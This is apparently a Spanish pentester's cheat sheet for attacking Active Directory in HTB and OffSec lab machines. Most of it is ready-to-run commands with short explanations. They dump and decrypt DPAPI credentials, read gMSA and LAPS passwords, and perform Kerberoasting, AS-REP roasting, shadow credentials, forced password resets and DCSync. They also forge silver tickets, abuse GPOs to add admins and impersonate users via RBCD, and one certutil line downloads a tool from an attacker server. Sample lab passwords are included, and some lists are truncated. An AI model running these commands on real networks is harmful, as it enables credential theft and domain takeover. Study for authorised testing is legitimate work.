Directorio Activo

Con que tengamos acceso remoto al DC con un usuario, ya podemos tener shell en el resto de usuarios con runas

Set-Execution Policy Bypass -Scope Process

BloodHound

cd /BloodHound
docker compose up

||

sudo neo4j start
./BloodHound

SharpHound

Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
Import-Module .\Sharp

BloodHound.py

sudo ntpdate -u IP-DC
bloodhound-python  -d DOMAIN -ns IP -u USER -p PASS -c All --zip
sudo ntpdate -u IP-DC
bloodhound-python  -d DOMAIN -dc DC.DOMAIN -ns IP -u 'USER' -p PASS -c All --zip

ns para resolver nombres

bloodhound-ce-python

bloodhound-ce-python -d DOMAIN -dc DC.DOMAIN -ns IP -u 'user' -p 'pass' -c All --zip

PowerView

Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
. .\PowerView.ps1
certutil -urlcache -f http://IP:PORT/SharpHound.exe SharpHound.exe

Dumpear DPAPI creds

🔐 DPAPI almacena credenciales por usuario, pero también puede incluir credenciales de otros usuarios si se han utilizado en la sesión.

Por ejemplo:


📦 ¿Qué son los credential blobs?

Los archivos que estás dumpeando (credential.blob) provienen del almacenamiento de credenciales del usuario actual, que se encuentra en:

%APPDATA%\Microsoft\Credentials\

Ese directorio contiene archivos que pueden incluir:

Incluso si pertenecen a otro usuario, si fueron usadas por steph.cooper, quedan en su perfil.


📁 Ejemplo típico

Usuario steph.cooper hace esto:

runas /user:steph.cooper_adm cmd.exe

O usa RDP con steph.cooper_adm. Entonces, Windows guarda esas credenciales en el perfil de steph.cooper, en Microsoft\Credentials, cifradas con la masterkey de steph.cooper.

Tú las extraes y las descifras con la clave de steph.cooper, y obtienes... la contraseña de steph.cooper_adm.


Procedimiento :

python3.11 -m venv donpapi-env
source donpapi-env/bin/activate
pip install donpapi
sudo ntpdate dc.puppy.htb

donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi collect -u USER -p 'PASS' --dc-ip IP --domain DOMAIN -t ALL -k

nxc smb IP -u DOMAIN\USER -p S --dpapi nosystem -k -d DOMAIN

Si lo dearriba no tiene nada / no funca :

cd C:\users\USER\appdata\roaming\microsoft\credentials
download C4BB96844A5C9DD45D5B6A9859252BA6
cd C:\Users\USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
download 

python3 dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password PASS

python3 dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

||

$path = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"
[Convert]::ToBase64StringReadAllBytes($path) | Out-File -Encoding ASCII 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
download 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
base64 -d out.txt > masterkey.blob

impacket-dpapi masterkey -file masterkey.blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107

$path = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"
[Convert]::ToBase64StringReadAllBytes($path) | Out-File -Encoding ASCII 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
download 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
base64 -d out.txt > credential.blob

impacket-dpapi credential -file credential.blob -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Para obtener la contraseña de una cuenta de tipo GMSA usando autenticación por kerberos

python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k get object 'GMSA01$' --attr msDS-ManagedPassword

Para añadir un usuario a un grupo usando autenticación por kerberos

python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"

WriteOwner

Si tienes permiso WriteOwner, puedes cambiar el propietario del objeto sobre el que tienes WriteOwner a ti mismo, para así luego ponerle GenericAll por ejemplo.

bloodyAD --host $dc -d $domain -u $username -p $password set owner $ObjetoACambiarPropietario $NuevoPropietario
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DNdelObjetoSobreElQueQueremosTenerGenericAll $userAtacante

DCsync

  1. Simulación de replicación: Un atacante con los permisos adecuados en un controlador de dominio (usualmente, un Administrador de dominio o Administrador de Enterprise) puede usar herramientas como Mimikatz para simular el proceso de replicación de un controlador de dominio.

  2. Extracción de contraseñas: Al realizar una replicación del dominio, el atacante puede solicitar contraseñas de cuentas, hashes de contraseñas y otros atributos de las cuentas de usuario (como las contraseñas almacenadas en el atributo msDS-ReplicatorPasswords).

  3. Uso de herramientas: Mimikatz es una de las herramientas más utilizadas para ejecutar un ataque DCsync. Al emplear la funcionalidad de lsadump::dcsync en Mimikatz, el atacante puede recuperar las contraseñas de los usuarios de la base de datos de Active Directory, incluida la cuenta de Administrator o cuentas con privilegios elevados.

Generic All

Para cambiar su contraseña:

net user michael michael /domain

Kerberoast (PRIMERA FORMA)

Set-ADUser -Identity VICTIM -Add @{servicePrincipalName="foobar/xd"}

$SecPassword = ConvertTo-SecureString '
PASS FROM USER WITH GENERICWRITE' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USER FROM USER WITH GENERICWRITE', $SecPassword)

Get-DomainSPNTicket -SPN "foobar/xd" -C
redential $Cred

AS-REPRoast (SEGUNDA FORMA)

python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD


bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k add uac USERNAME -f DONT_REQ_PREAUTH #Habilitamos DONT REQ PREAUTH 
bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k remove uac SVC_ARK -f ACCOUNTDISABLE #Nos aseguramos de que no están inactivas

impacket-GetNPUsers DOMAIN/ -no-pass -usersfile validUsers.txt

Podemos añadir al usuario P.AGILA SERVICE ACCOUNTS

python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host IP -d DC.DOMAIN -u USER -p PASS  add groupMember 'SERVICE ACCOUNTS' USER

ForceChangePassword

Crackear hash

git clone https://github.com/ShutdownRepo/targetedKerberoast.git

sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb

Cambias pass

rpcclient -U USER IP
rpcclient -U 'DOMAIN\USER%HASH' --pw-nt-hash IP

setuserinfo2 USER 23 'PASS'

net rpc password "USER" -U "DOMAIN"/USER%PASS -S "IP"
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password

WriteSPN

git clone https://github.com/ShutdownRepo/targetedKerberoast.git

sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb

Con kerberos:

kinit user@domain
python3 targetedKerberoast.py -v -d DOMAIN --dc-ip IP --dc-host DC.DOMAIN -u 'USER' --request-user VICTIM -o VICTIM.kerb -k --no-pass 

GenericWrite

Set-ADUser -Identity VICTIM -Add @{servicePrincipalName="foobar/xd"}

$SecPassword = ConvertTo-SecureString '
PASS FROM USER WITH GENERICWRITE' -AsPlainText -Force

$Cred = New-Object System.Management.Au
tomation.PSCredential('DOMAIN\USER FROM USER WITH GENERICWRITE', $SecPassword)

Get-DomainSPNTicket -SPN "foobar/xd" -Credential $Cred

O así

git clone https://github.com/ShutdownRepo/targetedKerberoast.git

sudo ntpdate -u IP-DC

python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb

o así:

bloodyAD --dc-ip IP -d DOMAIN --host DC.DOMAIN -u 'USER' -p 'PASS' set object 'USER TO KERBEROAST' servicePrincipalName -v 'domain/meow' -k
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host IP -d DC.DOMAIN -u USER -p PASS  add groupMember 'SERVICE ACCOUNTS' USER
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k add groupMember 'GROUP' 'USER'

Las credenciales en la sombra son una técnica de persistencia y escalada de privilegios en Active Directory que consiste en inyectar un certificado tuyo en una cuenta de AD (como winrm_svc), usando el atributo:

msDS-KeyCredentialLink

Una vez inyectado, puedes autenticarse como esa cuenta usando Kerberos/PKINIT, sin necesidad de su contraseña o hash.

sudo ntpdate -u IP-DC

certipy shadow auto -u 'USER@DOMAIN' -p 'PASS' -account 'victim on which the user has Generic Write' -dc-ip DC IP

Con kerberos:

sudo ntpdate -u IP-DC

bloodyAD --host DC.DOMAIN -d DOMAIN -u USER -k add shadowCredentials 'victim on which the user has Generic Write'

python3 PKINITtools/gettgtpkinit.py -cert-pem cert.pem -key-pem priv.pem domain/user user.ccache

AddMember

Da opción de añadir miembros a un grupo como de quitar miembros.

bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k add groupMember 'GROUP' 'USER'
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k remove groupMember 'GROUP' 'USER'

ReadGMSAPassword

ReadGMSAPassword es una función de Windows (más específicamente de Active Directory) que se refiere a la capacidad de leer la contraseña de una cuenta de servicio administrada de grupo, conocida como gMSA (Group Managed Service Account).


🔐 ¿Qué es una gMSA?

Una gMSA (Group Managed Service Account) es un tipo especial de cuenta en Active Directory que:


📥 ¿Qué hace ReadGMSAPassword?

La permisión ReadGMSAPassword determina qué equipos o usuarios tienen permitido leer (recuperar) la contraseña cifrada de una cuenta gMSA desde el Controlador de Dominio (DC).

Un equipo o servicio que tiene esta capacidad puede:

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword

ReadLAPSPassword

nxc ldap 192.168.247.122 -u 'fmcsorley' -p 'CrabSharkJellyfish192' -d 'hutch.offsec' -M laps

DCSync

impacket-secretsdump DOMAIN/USER:PASS@IP

evil-winrm -i IP -u USER -H "SEGUNDA PARTE HASH (NTLM)"

Kerberos

impacket-secretsdump DOMAIN/'USER'@DC.DOMAIN -k -no-pass -dc-ip IP

Buscar objetos borrados 🗑️

Y posteriormente restablecerlos, quizás sea necesario habilitarlos

Get-ADObject -IncludeDeletedObjects -Filter 'ObjectClass -like "user"' -Properties *

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

bloodyAD --host DC.DOMAIN -d DOMAIN -u USER -p 'PASS' remove uac 'TARGET USER' -f ACCOUNTDISABLE

rpcclient -U 'USER%PASS' IP -c 'setuserinfo2 TARGETUSER 23 'PASS'

Rebuscar en la papelera de reciclaje local 🗑️

$shell = New-Object -ComObject Shell.Application  
$recycleBin = $shell.Namespace(0xA)  
$recycleBin.items() | Select-Object Name, Path
Restore deleted file  
  
$recycleBin = (New-Object -ComObject Shell.Application).NameSpace(0xA)  
$items = $recycleBin.Items()  
$item = $items | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"}  
$documentsPath = [Environment]::GetFolderPath("Desktop")  
$documents = (New-Object -ComObject Shell.Application).NameSpace($documentsPath)  
$documents.MoveHere($item)

Silver Ticket Attack 🎟️

If you compromise an account's password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

Delegation vs Direct Access: Directly connecting to the MSSQL service using a password relies on the permissions assigned to the **svc_mssql** account within SQL Server. This includes permissions defined in roles, explicit grants, or denies, etc. The MSSQL service checks the account's permissions within the context of SQL Server.

Silver Ticket and Service Account: Crafting a silver ticket means you're effectively impersonating the **svc_mssql** service account at the Kerberos authentication level. In the context of MSSQL, this account might have been configured (often mistakenly) with higher or sysadmin privileges, especially if it's the account used to run the SQL Server service. This can often be the case

Procedimiento

NTLM HASH Generator

impacket-GetUserSPNs DOMAIN/USER:PASS -request
Get-ADUser -Filter {SamAccountName -eq "SVC_ACCOUNT"} -Properties ServicePrincipalNames
impacket-lookupsid USER@DOAMIN -target-ip IP  -domain-sids

/etc/krb5.conf

[libdefaults]
        default_realm = NAGOYA-INDUSTRIES.COM
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
    rdns = false
    dns_canonicalize_hostname = false
        fcc-mit-ticketflags = true

[realms]        
        NAGOYA-INDUSTRIES.COM = {
                kdc = nagoya.nagoya-industries.com
        }

[domain_realm]
        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM
impacket-ticketer -nthash NTHASH -domain-sid SID -domain DOMAIN -spn MSSQL/DC.DOMAIN -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache

Por eiemplo

impacket-mssqlclient -k DC.DOMAIN
  1. Qué hace un silver ticket

    • Cuando forjas un silver ticket estás creando un TGS (Ticket-Granting Service) para un SPN concreto (p. ej. MSSQL/nagoya...).

    • Ese TGS se cifra con la clave de la cuenta de servicio asociada al SPN (es decir, el NT hash de la cuenta bajo la que corre MSSQL o la cuenta mapeada al SPN).

    • Por tanto, el receptor lógico del ticket —el servicio que tiene la clave— puede descifrarlo y verificar su integridad.

  2. Quién valida el ticket al llegar

    • El servidor de aplicación (o su proceso de autenticación —ej. LSASS en Windows/SQL Server) recibe el ticket y lo descifra con la clave del service account.

    • Si el descifrado es correcto y las comprobaciones locales que haga el servicio pasan, el servicio te “acepta” como la identidad que figura en el ticket.

    • No hace falta que el KDC (krbtgt) haya emitido ese ticket porque el servicio sólo necesita poder descifrar/verificarlo con su propia clave.

  3. Entonces… ¿qué papel tiene krbtgt normalmente?

    • En un flujo Kerberos legítimo, el KDC (mediante la clave krbtgt) firma/autoriza el PAC y emite tickets. Esa firma permite a servicios confiar en las memberships/atributos dentro del PAC.

    • Al forjar un silver ticket se salta la emisión por el KDC; por eso la firma del KDC sobre el PAC no estará presente o no será válida. Algunos servicios comprueban esa firma; otros no.

  4. Por qué algunos servicios aceptan el ticket aun sin krbtgt

    • Muchos servicios / configuraciones sólo requieren que el ticket se descifre correctamente con la clave del SPN y no validan la firma del PAC contra el KDC. En esos casos aceptan los SIDs/memberships que trae el ticket.

    • Otros servicios (o configuraciones más estrictas) verifican la validez del PAC o consultan al DC para confirmar atributos; en esos casos el silver ticket puede fallar o comportarse de forma limitada.

  5. Resumen en una línea

    • No te estás “autenticando contra krbtgt porque no necesitas que el KDC te entregue el ticket: te estás autenticando contra el servicio objetivo (la cuenta/SPN) que posee la clave usada para cifrar y descifrar ese ticket.**

Default Domain Policy - Generic Write

SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub

.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount USERNAME
gpupdate /force

whoami

Unconstrained Delegation

Imagina un escenario común de 3 niveles:

  1. Usuario: Un empleado.
  2. Servicio Front-end: Un servidor web (Ej: IIS).
  3. Servicio Back-end: Un servidor de base de datos (Ej: SQL Server).

El usuario accede al servidor web. El servidor web necesita consultar la base de datos en nombre del usuario (para aplicar sus permisos).
Con la Delegación No Restringida, se marcaba la cuenta del servidor web como "Confiable para delegación" (Trusted for Delegation) en AD.

Constrained Delegation

Se especifica una lista blanca de servicios a los que puede acceder el Front-end (solo al servicio de bases de datos)

Kerberos Constrained Delegation (KCD) Tradicional

Se edita el atributo msDS-AllowedToDelegateTo del Front-end con una lista de SPNs a los que permite acceder

Resource-Based Constrained Delegation (RBCD)

Se editaría el atributo msDS-AllowedToActOnBehalfOfOtherIdentity en el backend esta vez. Esto lista las cuentas de servicio o máquinas que tienen permiso para delegar hacia el backend.
El dueño del backend decide que frontends pueden suplantar usuarios para acceder a su backend.

Sobre el ordenador sobre el que podemos modificar msDS-AllowedToActOnBehalfOfOtherIdentity

Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'COMPUTER$' #Assing delegation privileges

"Soy COMPUTER$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":

impacket-getST -spn 'cifs/DC.DOMAIN' -impersonate backupadmin -dc-ip IP -k 'DOMAIN/COMPUTER$:Password'